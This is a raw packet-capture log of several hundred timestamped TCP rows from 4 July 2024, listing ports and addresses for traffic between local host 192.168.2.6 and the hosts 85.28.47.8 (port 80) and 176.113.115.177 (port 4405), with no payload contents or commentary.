                                                              Jul 4, 2024 11:16:15.912549973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.946441889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.963287115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963299990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963311911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963340998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.963385105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963396072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963411093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963421106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963423967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.963433027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.963440895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.963491917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997168064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997209072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997220039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997265100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997307062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997318983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997330904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997340918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997347116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997365952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997509956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997519016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997529984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997540951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997550011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997581005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997658968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997669935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997678995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997692108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997699022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997708082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997718096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997728109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997729063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997737885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997749090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997756958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997761011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997769117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997773886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997783899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997787952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997795105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.997818947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.997842073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.998886108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998897076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998910904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998920918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998931885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998933077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.998944044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998955011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998965979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998977900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.998987913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.998990059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999002934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999008894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.999030113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.999043941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999058008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999098063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.999105930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999118090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999129057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999140978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999144077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.999151945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999165058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.999172926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.999206066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001405954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001416922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001427889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001451015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001471043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001498938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001511097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001522064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001533985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001559019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001580954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001665115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001677990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001688004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001698971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001712084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001713037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001729012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001740932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001739979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001765013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001946926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001962900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001974106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001985073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.001991034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.001996994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002010107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002016068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002022028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002038002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002041101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002053022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002055883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002063990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002078056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002082109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002089977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002118111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002300978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002311945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002340078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002455950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002468109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002479076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002492905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002502918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002511978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002525091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002527952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002537012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002547979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002548933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002561092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002573967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002579927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002585888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002598047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002608061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002615929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002619982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002629995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002640963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002650023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002652884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002665043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002674103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002677917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002688885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002701044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.002720118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.002748966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003154993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003165007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003175020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003185987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003196955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003197908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003209114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003220081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003221035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003232002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003245115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003249884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003256083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003268003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003277063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003278971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003289938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003299952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.003325939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.003355980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.053603888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053617954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053630114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053642988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053668976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.053698063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.053705931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053719044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053730965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.053754091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.075247049 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.076415062 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.081239939 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.086429119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086440086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086458921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086476088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086518049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086528063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086530924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086576939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086580038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086591959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086606026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086616993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086622953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086641073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086647987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086704969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086716890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086740971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086848974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086859941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086880922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086899042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086908102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086910963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086920977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086921930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086934090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086945057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.086961031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086978912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.086999893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087017059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087028027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087039948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087066889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087244987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087255955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087265968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087275982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087286949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087291002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087297916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087311029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087311029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087337971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087369919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087380886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087392092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087402105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087404966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087414026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087424040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087425947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087439060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087459087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087476969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087487936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087646961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087658882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087667942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087685108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087696075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087701082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087707043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087718964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087719917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087733030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087748051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087749004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.087762117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.087790966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091131926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091151953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091162920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091196060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091216087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091231108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091255903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091283083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091295004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091320038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091324091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091337919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091347933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091376066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091392040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091444969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091456890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091466904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091480017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091490984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091495991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091510057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091548920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091561079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091572046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091583014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091584921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091594934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091614962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091639996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091891050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091907024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091917992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091928005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091938972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091943026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091948986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091960907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091963053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.091972113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091984034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091993093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.091994047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092005014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092012882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092019081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092027903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092034101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092067003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092070103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092080116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092091084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092102051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092104912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092122078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092133045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092137098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092144966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.092164040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.092184067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093188047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093199015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093209982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093242884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093282938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093296051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093307018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093317986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093329906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093375921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093434095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093446970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093457937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093468904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093471050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093482018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093488932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093494892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093513012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093523979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093523979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093539953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093559027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093585014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.093694925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093707085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.093719959 CEST804972385.28.47.8192.168.2.6
